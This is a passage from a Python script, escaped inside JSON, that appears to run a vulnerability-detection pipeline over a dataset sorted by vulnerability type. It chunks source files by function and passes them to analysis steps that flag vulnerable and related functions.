'answer.txt')\n    if not os.path.exists(a_dir):\n        os.makedirs(a_dir)\n    check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content)\n\ndef step_by_step(type, subdir_path, answer_dir):\n    global writed_result\n    writed_result=0\n    #split 返回content, slice_lang and slice_vul\n    # Main function call\n    #directory_path = '0'  # Replace with the actual directory path\n    #process_directory(directory_path)\n    #exit()\n\n    # all type:\n    #  .bz2, .c, .cc, .cfg, .crt, .csv, .go, .gz, .h, .html, .java, .jsp, .key, .php, .po, .py, .pyi, .ts, .txt, .xml\n    # 黑名单文件的后缀名\n    extensions = [\".pyi\",\".bz2\",\".cfg\",\".crt\",\".csv\",\".gz\",\".html\",\".key\",\".po\",'.txt','.xml']\n\n    ext=None\n    file_num=0\n    for filename in os.listdir(subdir_path):\n        file_path = os.path.join(subdir_path, filename)\n        # 确保是文件而不是子目录\n        if os.path.isfile(file_path):\n            # 获取文件的扩展名（后缀名）\n            ext = os.path.splitext(filename)[1].lower()\n            if ext in extensions:\n                continue\n            file_num+=1\n            if file_num>1:\n                break\n            with open(file_path, encoding='utf-8') as file:\n                file_content = file.read()\n\n    if file_num>1 or len(file_content)>10000:#split\n        functions=None\n        \n    slice_vul = type\n    #if slice_vul!=\"Arbitrary_file_access\" and slice_vul!=\"Buffer_overflow\":\n    #    return\n    \n    slice_lang = ext[1:]\n    if ext=='.c' or ext=='.h':\n        slice_lang = \"decompiled pseudocode or c programming language\"\n    elif ext=='.cc' or ext=='.cpp':\n        slice_lang = \"c++\"\n    elif ext=='.py':\n        slice_lang = \"python\"\n    elif ext=='.ts':\n        slice_lang = \"TypeScript\"\n    elif ext=='.jsp':\n        slice_lang = \"JavaScript\"\n    print(slice_lang,slice_vul)\n    if file_num<=1 and len(file_content)<=14000:\n        #edit, simply run step2\n        run_step2(slice_vul,file_content,file_content)\n        #json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    else:\n        #split\n        if functions==None:\n            return\n        total=\"\"\n        for function in functions:\n            total+=function\n        file_content=\"\"\n        dangerous_funcs=[]\n        related_funcs=[]\n        if slice_vul==\"Buffer_overflow\" or slice_vul==\"Integer_overflow\" or slice_vul==\"Command_injection\" or slice_vul==\"others\":\n            for function in functions:\n                if len(file_content)+len(function)<=14000:\n                    file_content+=function\n                else:\n                    run_step2(slice_vul,file_content,total)\n                    file_content=function\n            run_step2(slice_vul,file_content,total)\n            return\n        for function in functions:\n            if len(file_content)+len(function)<=14000:\n                file_content+=function\n            else:\n                json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n                dangerous_funcs+=json_out_step1[\"vul_functions\"]\n                try:\n                    related_funcs+=json_out_step1[\"related_functions\"]\n                except:\n                    pass\n                file_content=function\n        json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n        dangerous_funcs+=json_out_step1[\"vul_functions\"]\n        try:\n            related_funcs+=json_out_step1[\"related_functions\"]\n        except:\n            pass\n        #print(dangerous_funcs)\n        #print(related_funcs)\n        file_content2=\"\"\n        analysed_funcs=[]\n        for function in functions:\n            try:\n                head=function.split('\\n')[0]+function.split('\\n')[1]+function.split('\\n')[2]  \n            except:\n                head=function\n            for danger in dangerous_funcs:\n                if danger in analysed_funcs:\n                    continue\n                if danger in head:\n                    if len(file_content2)+len(function)>14000:\n                        print(\"full\")\n                        run_step2(slice_vul,file_content2,total)\n                        file_content2=function\n                    file_content2+=function\n                    analysed_funcs.append(danger)\n        print(len(file_content2))\n\n        if len(file_content2)<13000:#still have space\n            for function in functions:\n                try:\n                    head=function.split('\\n')[0]+function.split('\\n')[1]+function.split('\\n')[2]  \n                except:\n                    head=function\n                for danger in related_funcs:\n                    if danger in analysed_funcs:\n                        continue\n                    if danger in head:\n                        if len(file_content2)+len(function)>14000:\n                            print(\"full\")\n                            continue\n                        file_content2+=function\n                        analysed_funcs.append(danger)\n        print(len(file_content2))\n        run_step2(slice_vul,file_content2,total)\n    \ndef search_data_dir(data_dir, answer_dir):\n    # 当前目录下的数据集路径\n    root_dir = data_dir\n    answer_dir=answer_dir\n    # 获取第一层所有目录名称\n    top_level_dirs = []\n\n    # 用于存储所有二级目录和对应的文件数量\n    subdirs_with_file_count = []\n\n    \n    # 遍历每一个第一层目录\n    for type in top_level_dirs:\n        print(f\"Processing directory: {type}\")\n        \n        # 获取每个第一层目录的路径\n        subdir_path = os.path.join(root_dir, type)\n        \n        # 遍历每个二级目录（数字目录如0, 1, 2）并统计文件数量\n        for i in os.listdir(subdir_path):\n            sub_dir = os.path.join(subdir_path, i)\n            if os.path.isdir(sub_dir):\n                total_size = sum(\n                    os.path.getsize(os.path.join(sub_dir, f)) for f in os.listdir(sub_dir) \n                    if os.path.isfile(os.path.join(sub_dir, f))\n                )\n                # 将二级目录及其总文件大小保存到列表中\n                subdirs_with_file_count.append((type, i, total_size))\n                # 统计该二级目录下的文件数量\n                #file_count = len([f for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f))])\n                # 将二级目录及其文件数量保存到列表中\n                #subdirs_with_file_count.append((type, i, file_count))\n\n    # 根据文件数量排序（从小到大）\n    subdirs_with_file_count.sort(key=lambda x: x[2])\n\n    # 按照排序后的顺序输出文件内容\n    for type, subdir, _ in subdirs_with_file_count:\n        subdir_path = os.path.join(root_dir, type, subdir)\n        print(f\"\\nEntering subdirectory: {subdir} in {type}\")\n        try:\n            step_by_step(type,subdir_path,answer_dir)\n        except Exception as e:\n            print(\"analysing file error\",e)\n        # 遍历子目录中的文件\n        #for filename in os.listdir(subdir_path):\n            # file_path = os.path.join(subdir_path, filename)\n            \n            # # 确保是文件而不是子目录\n            # if os.path.isfile(file_path):\n            #     # 获取文件的扩展名（后缀名）\n            #     ext = os.path.splitext(filename)[1].lower()\n            #     if ext in extensions:\n            #         continue\n            #     # 打开并读取文件内容\n            #     try:\n            #         with open(file_path, encoding='utf-8') as file:\n            #             file_content = file.read()\n            #             step_by_step(type, ext, answer_dir, file_content)\n            #     except Exception as e:\n            #         print(\"analysing file error\",e)\n    #print(file_count)\n\n\nif __name__ == '__main__':\n    search_data_dir(data_dir, answer_dir)\n    \n"
  }
]